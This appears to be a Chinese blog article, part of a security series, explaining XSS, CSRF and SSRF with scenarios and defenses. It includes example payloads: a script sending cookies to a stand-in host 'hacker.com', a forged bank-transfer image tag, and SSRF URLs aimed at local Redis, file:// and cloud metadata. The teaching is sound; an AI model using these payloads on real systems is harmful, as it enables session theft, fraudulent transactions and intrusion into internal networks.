《网络安全的攻防启示录》· 第一篇章:破壁之术 · 第5篇
如果说SQL注入是“骗过系统”,那么Web应用的“外邪”就是“骗过用户”,或者“骗过服务器”。
想象一下这个场景:你收到一条快递短信,链接点进去是一个你熟悉的电商网站,提示你有一个包裹需要确认地址。页面看起来毫无破绽,甚至你已经处于登录状态。你点击“确认”按钮,页面弹出一个提示框:“地址确认成功”。
一切看似正常,但你可能不知道的是,在你点击那个按钮的瞬间,你的账号已经在后台自动关注了一个陌生店铺,给一个商品点了赞,甚至,你的个人信息已经被悄悄发送到了攻击者的服务器上。
这不是科幻电影里的桥段,而是每天都在互联网上发生的真实攻击。攻击者并没有直接攻破网站的服务器,而是利用了你对网站的信任,或者利用了网站对你浏览器的信任。
在上一篇,我们探讨了Web应用的“内患”——那些源于开发者对用户输入“过度信任”而导致的漏洞(如SQL注入)。今天,我们把视角转向外部,看看攻击者是如何“借力打力”,利用Web生态中复杂的信任关系来发起攻击的。这就是我们要深入剖析的三大“外邪”:跨站脚本(XSS)、跨站请求伪造(CSRF)与服务端请求伪造(SSRF)。
作为一名在ICT行业摸爬滚打了30多年的老兵,我亲历了Web技术从简单的静态页面到如今复杂的分布式应用的演进。技术的每一次飞跃,都伴随着信任边界的重新定义,而每一次定义,都可能留下新的安全缝隙。
今天,就让我们剥开这些专业术语的外壳,看看它们背后的逻辑,以及如何防范这些“看不见的黑手”。
一、 XSS(跨站脚本):当你的浏览器变成“肉鸡”
XSS(Cross-Site Scripting),为了和层叠样式表(CSS)区分开,通常简称为XSS。它是Web安全中最常见、也是最容易被忽视的漏洞之一。
它的本质: 攻击者想办法把恶意的JavaScript代码,“注入”到你正在访问的正常网页中。当你的浏览器加载这个网页时,就会毫不怀疑地执行这段恶意代码。
1.1 场景:一条“有毒”的评论
假设一个新闻网站的评论区没有对用户输入做严格过滤。 攻击者在评论框里输入了这样一段内容: <script>document.location='http://hacker.com/steal?cookie='+document.cookie;</script>
- 正常用户: 看到的是一条奇怪的代码评论,可能不会在意。
- 受害者浏览器: 当其他用户浏览到这条评论时,浏览器会把这段<script>标签里的内容当作正常的页面脚本来执行。
- 后果: 这段脚本会立即读取当前用户的Cookie(里面可能包含登录状态、会话ID等敏感信息),并把它发送到攻击者的服务器(hacker.com)。攻击者拿到Cookie后,就可以伪装成这个用户登录网站,为所欲为。

存储型XSS攻击原理示意图
1.2 XSS的三种形态:存储、反射与DOM
根据攻击代码的来源和存储方式,XSS主要分为三种:
- 存储型XSS(Stored XSS): 危害最大。恶意代码被永久存储在目标服务器的数据库中(如上面的评论区例子)。任何访问该页面的用户都会中招,攻击是持久化的。
- 反射型XSS(Reflected XSS): 恶意代码并没有存储在服务器上,而是作为URL参数的一部分发送给服务器,服务器又把这个参数“反射”回页面中。
- 场景: 攻击者构造一个链接:http://example.com/search?q=<script>alert('XSS')</script>。并将这个链接发送给受害者诱导其点击。如果网站的搜索结果页面直接把查询词q显示出来而没有过滤,脚本就会执行。这种攻击是一次性的,需要诱导用户点击链接。
- DOM型XSS(DOM-based XSS): 这种攻击完全发生在客户端浏览器中。恶意代码不需要经过服务器,而是直接通过修改页面的DOM结构来触发。它更隐蔽,传统的WAF(Web应用防火墙)很难检测到。
1.3 防御启示:不信任任何输出
XSS的根源在于:Web应用把用户提供的数据,当成了可执行的代码(HTML或JavaScript)输出到了页面上。
因此,防御的核心原则是:将数据与代码隔离。
- 输出编码(Output Encoding): 这是最关键的防御手段。在将任何用户数据输出到HTML页面之前,必须对其进行严格的编码。例如,把 < 转换成 <,把 > 转换成 >。这样,浏览器就会把它当作普通文本显示,而不会把它当作HTML标签去执行。
HTML
<div>欢迎你,<%= username %></div>
<div>欢迎你,<script>...</script></div>
- 输入过滤(Input Validation): 虽然不能完全依赖,但作为第一道防线仍然有必要。对用户输入进行严格的白名单验证,拒绝包含特殊字符(如<, >, ', "等)的输入。
- 设置Cookie的HttpOnly属性: 这是一个非常有效的缓解措施。当Cookie被设置为HttpOnly后,JavaScript脚本就无法读取它了。即使网站存在XSS漏洞,攻击者也无法通过脚本窃取Cookie。
- 使用内容安全策略(CSP): CSP是一种现代浏览器支持的安全机制。网站可以通过HTTP头告诉浏览器,只允许加载和执行来自特定域名的脚本、样式和图片。这能有效阻止恶意脚本的注入和执行。
二、 CSRF(跨站请求伪造):借你的手,做坏事
CSRF(Cross-Site Request Forgery),读作“sea-surf”。它的核心是:攻击者诱导受害者的浏览器,去向受害者当前已登录的Web应用程序发送一个伪造的请求。
Web应用在处理请求时,通常依赖浏览器的Cookie来识别用户身份。如果用户已经登录了某个网站,浏览器在向该网站发送请求时,会自动带上包含身份信息的Cookie。攻击者正是利用了这一点,让浏览器在用户不知情的情况下,“代表”用户发送了一个恶意请求。
2.1 场景:一条“昂贵”的链接
假设你正在登录某家银行的网上银行(bank.com),并且没有退出。 同时,你在另一个标签页浏览一个恶意论坛。论坛里有一个吸引人的图片链接: <img src="http://bank.com/transfer?to=hacker&amount=1000">
- 正常理解: 这是一个图片标签,浏览器应该去加载这个URL并将返回的内容作为图片显示。
- 实际发生: 浏览器在尝试加载这个“图片”时,实际上是向银行发送了一个GET请求:http://bank.com/transfer?to=hacker&amount=1000。
- 关键点: 由于你刚登录过银行,浏览器会自动在这个请求中带上属于你的、有效的银行Cookie。
- 后果: 银行服务器收到请求后,检查Cookie发现是合法的登录用户,于是就执行了转账操作——把1000元转给了黑客!
你只是看了一张图,钱就没了。这就是CSRF的威力。它不是窃取你的账号,而是“借用”你的身份去操作。

CSRF攻击原理示意图
图注:展示了CSRF攻击的时序和关键步骤:用户登录、访问恶意网站、浏览器自动发送携带Cookie的请求、服务器执行操作。
2.2 防御启示:验证请求的“意愿”
CSRF攻击之所以能成功,是因为服务器只验证了请求的“身份”(通过Cookie),但没有验证请求是否是用户的真实意愿(是否是用户主动发起的)。
因此,防御的核心是:增加一个攻击者无法伪造的验证机制,来确认请求的来源和意愿。
- 使用CSRF Token: 这是最通用、最有效的防御方法。
- 服务器在生成表单时,会生成一个随机的、不可预测的Token(令牌),并把它放在表单的一个隐藏字段中。
- 当用户提交表单时,这个Token会随请求一起发送给服务器。
- 服务器验证这个Token是否有效。如果请求中没有Token,或者Token不正确,服务器就拒绝该请求。
-
- 原理: 攻击者虽然能诱导浏览器发送请求,但由于同源策略的限制,他无法跨域读取到目标网站页面上的这个随机Token。因此,他伪造的请求中必然缺少这个关键的Token,从而被服务器拦截。
- 验证Referer和Origin头: HTTP协议中的Referer和Origin头会记录请求的来源页面。服务器可以检查这两个头,如果请求不是来自本站的页面,就予以拒绝。这是一种简单有效的防御手段,但并不完美(因为这两个头有时可以被篡改或因为隐私设置而被隐藏)。
- SameSite Cookie属性: 这是一个较新的浏览器安全特性。通过把Cookie的SameSite属性设置为Lax或Strict,可以让浏览器在跨站请求时不发送Cookie。这从根本上阻断了CSRF攻击的路径。这是一个非常推荐的防御措施。
三、 SSRF(服务端请求伪造):隔山打牛
前两个“外邪”利用的是浏览器,而SSRF(Server-Side Request Forgery)则是把目标对准了服务器本身。
它的本质: 攻击者构造一个特殊的请求,诱导目标服务器去向另一个服务器(通常是攻击者无法直接访问的内网服务器)发起请求。
简单来说,就是攻击者把目标服务器当成了“跳板”或“代理”,去探测和攻击它身后的内网世界。
3.1 场景:一个“贴心”的图片抓取功能
很多网站都有“分享链接获取标题和图片”、“在线翻译”、“图片加载/缓存”等功能。这些功能在后端实现时,通常需要服务器去请求用户提供的URL。
假设一个图片加载功能的URL是这样的: http://example.com/image?url=http://image.com/a.jpg
- 正常流程: example.com服务器接收到请求后,会去image.com下载a.jpg,然后返回给用户。
- 攻击者的操作: 攻击者把URL改成:http://example.com/image?url=http://127.0.0.1:6379
- 后果: example.com服务器会尝试去连接自己本地(127.0.0.1)的6379端口。而6379通常是Redis数据库的默认端口。如果Redis没有设置密码(在内网环境中很常见),攻击者就可以通过这个漏洞,向Redis发送任意命令,甚至直接获取服务器的Shell权限!
除了攻击本地服务,攻击者还可以利用SSRF:
- 探测内网端口: 扫描内网中哪些IP和端口是开放的,绘制内网拓扑图。
- 攻击内网应用: 攻击内网中存在漏洞的其他Web应用(如未授权访问的Jenkins、Elasticsearch等)。
- 读取本地文件: 利用file://协议,读取服务器上的敏感文件(如/etc/passwd)。
- 攻击云服务元数据: 在云环境中,利用特定IP(如AWS的169.254.169.254)获取服务器的元数据,包括敏感的访问密钥(AK/SK)。

SSRF攻击原理示意图
3.2 防御启示:管好服务器的“对外嘴巴”
SSRF漏洞的根源在于,服务器没有对发起的请求目标进行严格的限制和验证。
防御的核心是:对服务器发起的每一个对外请求,都要进行严格的审查。
- 白名单机制: 这是最有效的防御。只允许服务器请求预先定义好的、可信的域名或IP列表。例如,只允许请求特定的图片服务器域名。
- 禁用不必要的协议: 只允许http和https协议,禁用file://, gopher://, ftp://等危险协议。
- 严格的内网IP过滤: 在服务器发起请求前,解析目标域名的IP地址。如果IP地址是内网IP(如10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1等),则直接拒绝请求。
- 特别注意: 要防范DNS重绑定(DNS Rebinding)攻击,即在验证IP时和实际请求时,域名解析到了不同的IP。
- 统一的请求代理: 对于必须访问外部网络的需求,可以建立一个统一的代理服务器,在代理服务器上实施严格的访问控制策略。
结语:重建数字世界的信任边界
今天我们探讨的这三大“外邪”,XSS、CSRF和SSRF,虽然攻击手法各异,但它们都指向了同一个核心问题——Web生态中复杂的信任关系被滥用。
- XSS: 利用了浏览器对服务器返回内容的信任。
- CSRF: 利用了服务器对浏览器发送的Cookie的信任。
- SSRF: 利用了服务器对开发者提供的URL的信任。
思考小札: 回首我这30多年的职业生涯,我深刻感受到,网络安全史本质上就是一部信任模型的演进史。早期的互联网是基于“默认信任”构建的,我们假设网络中的参与者都是善意的。然而,随着利益的介入,这个假设早已破产。
今天的安全架构,正在痛苦地向“零信任(Zero Trust)”模型转型。不是 默认信任,而是 “永不信任,始终验证”。无论是来自用户的输入、浏览器的请求,还是服务器自身发起的连接,都需要经过严格的身份验证和权限检查。
这不仅仅是技术上的升级,更是一场认知上的革命。对于每一位开发者、架构师乃至普通用户来说,建立起“不信任”的直觉,或许比掌握具体的防御技术更为重要。
理解了这些“外邪”的本质,我们就能明白,为什么仅仅修补一个漏洞是远远不够的。我们需要的是一种系统性的安全思维,去重新审视和构建数字世界中的信任边界。
在下一篇文章中,我们将深入到系统层面,去看看攻击者是如何在成功入侵后,像幽灵一样在系统中潜伏下来的。敬请期待《第6篇 | 持久化的艺术:后门、木马与Rootkit的隐秘世界》。
互动时刻:
- 本篇小结: 我们深入剖析了Web应用的三大“外邪”——XSS、CSRF和SSRF。我们了解到,它们分别利用了浏览器对内容的信任、服务器对Cookie的信任以及服务器对URL的信任。防御的关键在于打破这些默认的信任,实施严格的输入过滤、输出编码、请求验证和访问控制,向“零信任”模型迈进。
- 思考/讨论:
- 回想一下,你是否在某些网站的评论区或个人资料里见到过奇怪的字符或代码?现在你是否能理解它们可能是用来做什么的了?
- 对于开发者朋友,你们的项目中是否使用了CSRF Token或SameSite Cookie属性?在处理URL请求功能时,是否考虑过SSRF的风险?欢迎在评论区分享你的经验和思考。
- 术语小词典 (更新):
- XSS (Cross-Site Scripting): 跨站脚本攻击。攻击者在网页中注入恶意脚本,当用户浏览该页时,脚本在用户浏览器中执行。
- CSRF (Cross-Site Request Forgery): 跨站请求伪造。攻击者诱导受害者的浏览器去向一个受害者已登录的Web应用发送恶意请求。
- SSRF (Server-Side Request Forgery): 服务端请求伪造。攻击者诱导服务器向另一个服务器(通常是内网服务器)发起请求。
- Cookie: 网站为了辨别用户身份、进行Session跟踪而储存在用户本地终端上的数据。
- 同源策略 (Same-Origin Policy): 浏览器的一种核心安全机制,限制一个源(协议+域名+端口)的文档或脚本如何与另一个源的资源进行交互。
- 零信任 (Zero Trust): 一种安全模型,核心思想是“永不信任,始终验证”。不基于位置(内网/外网)来授予信任,而是基于身份和上下文进行持续的验证。

514

被折叠的 条评论
为什么被折叠?



